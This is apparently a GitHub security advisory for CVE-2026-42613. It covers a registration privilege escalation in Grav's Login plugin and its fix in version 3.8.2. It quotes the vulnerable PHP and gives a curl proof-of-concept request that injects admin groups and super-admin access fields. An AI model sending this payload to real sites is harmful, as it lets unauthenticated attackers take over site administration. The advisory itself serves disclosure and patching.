getgrav/grav
Affected
- introduced
0, fixed2.0.0-beta.2(ecosystem)
Fixed versions
2.0.0-beta.2
Fix
The export has no generic command for this ecosystem.
Advisory
Also known as: CVE-2026-42613
Grav Vulnerable to Privilege Escalation via Missing Server-Side Validation of groups/access
Bug Report: Registration Privilege Escalation via Missing Server-Side Validation of groups/access
Summary
The Login::register() method in the Login plugin accepts attacker-controlled groups and access fields from the registration POST data without server-side validation. When registration is enabled and groups or access are included in the configured allowed fields list, an unauthenticated user can self-register with admin.super privileges by injecting these fields into the registration request.
This is a missing server-side validation issue — the only defense is a config-level fields allowlist, which is an admin-facing setting, not a hardcoded security boundary.
Affected Component
user/plugins/login/classes/Login.php, lines 246-306Login::register()Login::validateField(), lines 363-432Root Cause
In register() (lines 254-267), the groups and access fields are only set to config defaults if they are not already present in the input data:
// Line 254-260
if (!isset($data['groups'])) {
$groups = (array) $this->config->get('plugins.login.user_registration.groups', []);
if (count($groups) > 0) {
$data['groups'] = $groups;
}
}
// Line 262-267
if (!isset($data['access'])) {
$access = (array) $this->config->get('plugins.login.user_registration.access.site', []);
if (count($access) > 0) {
$data['access']['site'] = $access;
}
}
If an attacker includes groups or access in the POST body, the !isset() check passes and the config defaults are skipped. The attacker's values flow through unchanged.
Later (lines 298-303), these values are assigned directly to the user object:
if (isset($data['groups'])) {
$user->groups = $data['groups']; // attacker-controlled
}
if (isset($data['access'])) {
$user->access = $data['access']; // attacker-controlled
}
$user->save();
The validateField() method (lines 363-432) has a switch statement that only validates: username, password, password2, email, permissions, state, and language. The groups and access fields pass through the default case with no validation at all.
Precondition
Registration must be enabled with groups and/or access in the configured allowed fields:
# user/config/plugins/login.yaml
user_registration:
enabled: true
fields:
- username
- password
- email
- fullname
- groups # ← enables the attack
- access # ← enables the attack
This is a configuration the admin UI allows without any warning. An admin adding groups to let users pick a non-privileged group (e.g., editors) unknowingly exposes the escalation path, since there is no validation constraining which groups can be selected.
Proof of Concept
Malicious registration request (unauthenticated):
curl -X POST "${TARGET}/user_register" \
--data-urlencode "data[username]=attacker" \
--data-urlencode "data[password1]=Str0ngP@ss!" \
--data-urlencode "data[password2]=Str0ngP@ss!" \
--data-urlencode "data[email][email protected]" \
--data-urlencode "data[fullname]=Attacker" \
--data-urlencode "data[groups][]=admins" \
--data-urlencode "data[access][admin][login]=true" \
--data-urlencode "data[access][admin][super]=true" \
--data-urlencode "data[access][site][login]=true" \
--data-urlencode "form-nonce=${FORM_NONCE}" \
--data-urlencode "__form-name__=user_register" \
--data-urlencode "__unique_form_id__=${FORM_UID}"
Resulting account file (user/accounts/attacker.yaml):
email: [email protected]
fullname: Attacker
groups:
- admins
access:
admin:
login: true
super: true
site:
login: true
hashed_password: ...
state: enabled
The attacker can then log into /admin with full super-admin privileges.
Impact
groups or access in allowed fields — a configuration the admin UI permits without warningEnvironment
Credits
Jonathan Dersch at Hacking Cult GmbH https://hackingcult.de/
---
Maintainer note — fix applied (2026-04-24)
Fixed in grav-plugin-login 3.8.2 (commit `3d419a0`). On the Grav 2.0 line, the login plugin is pinned at >=3.8.2 by admin2's `blueprints.yaml`, so sites running admin2 with Grav 2.0.0-beta.2 pick the fix up automatically.
What changed: the registration form handler now explicitly skips the groups and access privilege fields in the per-field input loop — even if an administrator added them to user_registration.fields. A warning is logged on any attempted injection. Server-side default_values, invitations, and the user_registration.{groups,access} config remain the sole sources of those values.
Files:
Critical Basis: The source's own band: CRITICAL
0, fixed 2.0.0-beta.2 (ecosystem)2.0.0-beta.2
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0